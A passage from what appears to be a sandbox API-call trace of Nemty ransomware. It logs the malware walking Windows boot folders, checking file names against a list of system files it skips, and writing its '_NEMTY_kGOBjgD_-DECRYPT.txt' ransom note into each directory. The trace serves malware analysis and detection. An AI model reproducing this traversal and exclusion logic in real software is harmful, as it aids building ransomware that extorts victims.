lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wgl4_boot.ttf", lpUsedDefaultChar=0x0) returned 13 [0044.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wgl4_boot.ttf", lpUsedDefaultChar=0x0) returned 13 [0044.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x653f5e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wgl4_boot.ttf", lpUsedDefaultChar=0x0) returned 13 [0044.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x653f618, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wgl4_boot.ttf", lpUsedDefaultChar=0x0) returned 13 [0044.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.497] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce35fd10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce35fd10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce385e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.497] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.498] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce35fd10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce35fd10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce385e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.498] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.498] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0044.498] lstrcmpiW (lpString1="fr-FR", lpString2=".") returned 1 [0044.498] lstrcmpiW (lpString1="fr-FR", lpString2="..") returned 1 [0044.498] lstrcmpiW (lpString1="fr-FR", lpString2="...") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="windows") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="$RECYCLE.BIN") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="rsa") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="NTDETECT.COM") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="ntldr") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="MSDOS.SYS") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="IO.SYS") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="boot.ini") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="boot.ini") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="AUTOEXEC.BAT") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="ntuser.dat") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="desktop.ini") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="CONFIG.SYS") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="RECYCLER") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="BOOTSECT.BAK") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="bootmgr") returned 1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="programdata") returned -1 [0044.499] lstrcmpiW (lpString1="fr-FR", lpString2="appdata") returned 1 [0044.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr-FR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr-FR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fr-FR", lpUsedDefaultChar=0x0) returned 5 [0044.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr-FR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr-FR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fr-FR", lpUsedDefaultChar=0x0) returned 5 [0044.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.500] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\fr-fr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.501] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.501] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.502] CloseHandle (hObject=0x3c0) returned 1 [0044.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.502] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\fr-fr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.503] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.503] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.504] CloseHandle (hObject=0x3c0) returned 1 [0044.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.504] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce385e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce385e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.504] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.505] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce385e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce385e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.505] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.505] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.505] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0044.505] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0044.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) 